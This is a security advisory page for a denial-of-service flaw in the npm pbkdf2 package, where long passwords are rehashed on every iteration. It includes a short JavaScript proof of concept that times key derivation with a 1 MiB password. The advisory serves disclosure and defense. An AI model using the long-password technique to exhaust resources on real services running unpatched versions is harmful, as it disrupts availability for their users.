GHSA-477h-4r7f-fvrx

    Dashboard / Vulnerabilities / GHSA-477h-4r7f-fvrx

    GHSA-477h-4r7f-fvrx

    Published: 6 Oct 2026Last Modified: 6 Oct 2026

    Summary: pbkdf2 rehashes long passwords on every iteration, enabling denial of service

    Details: ### Summary This is the same bug as Django had (CVE-2013-1443). ### Details A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60 Also see https://github.com/browserify/pbkdf2/issues/82 ### PoC The first key will take a lot longer to generate when not using the native code and uses code from `/lib/sync.js` (ie when this if statement is true): https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37 ```js var pbkdf2 = require('pbkdf2'); var createHash = require('create-hash'); var pw = ".".repeat(1048576); // 1 MiB var t0 = performance.now(); var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256"); var t1 = performance.now(); pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256"); var t2 = performance.now(); console.log("First took: " + (t1 - t0)); console.log("Second took: " + (t2 - t1)); console.log("Generated keys:"); console.log(key1); console.log(key2); ``` ### Impact DoS

    Affected packages

    Package

    Name: pbkdf2

    Purl: pkg:npm/pbkdf2

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.1.7

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-477h-4r7f-fvrx | CVE-DB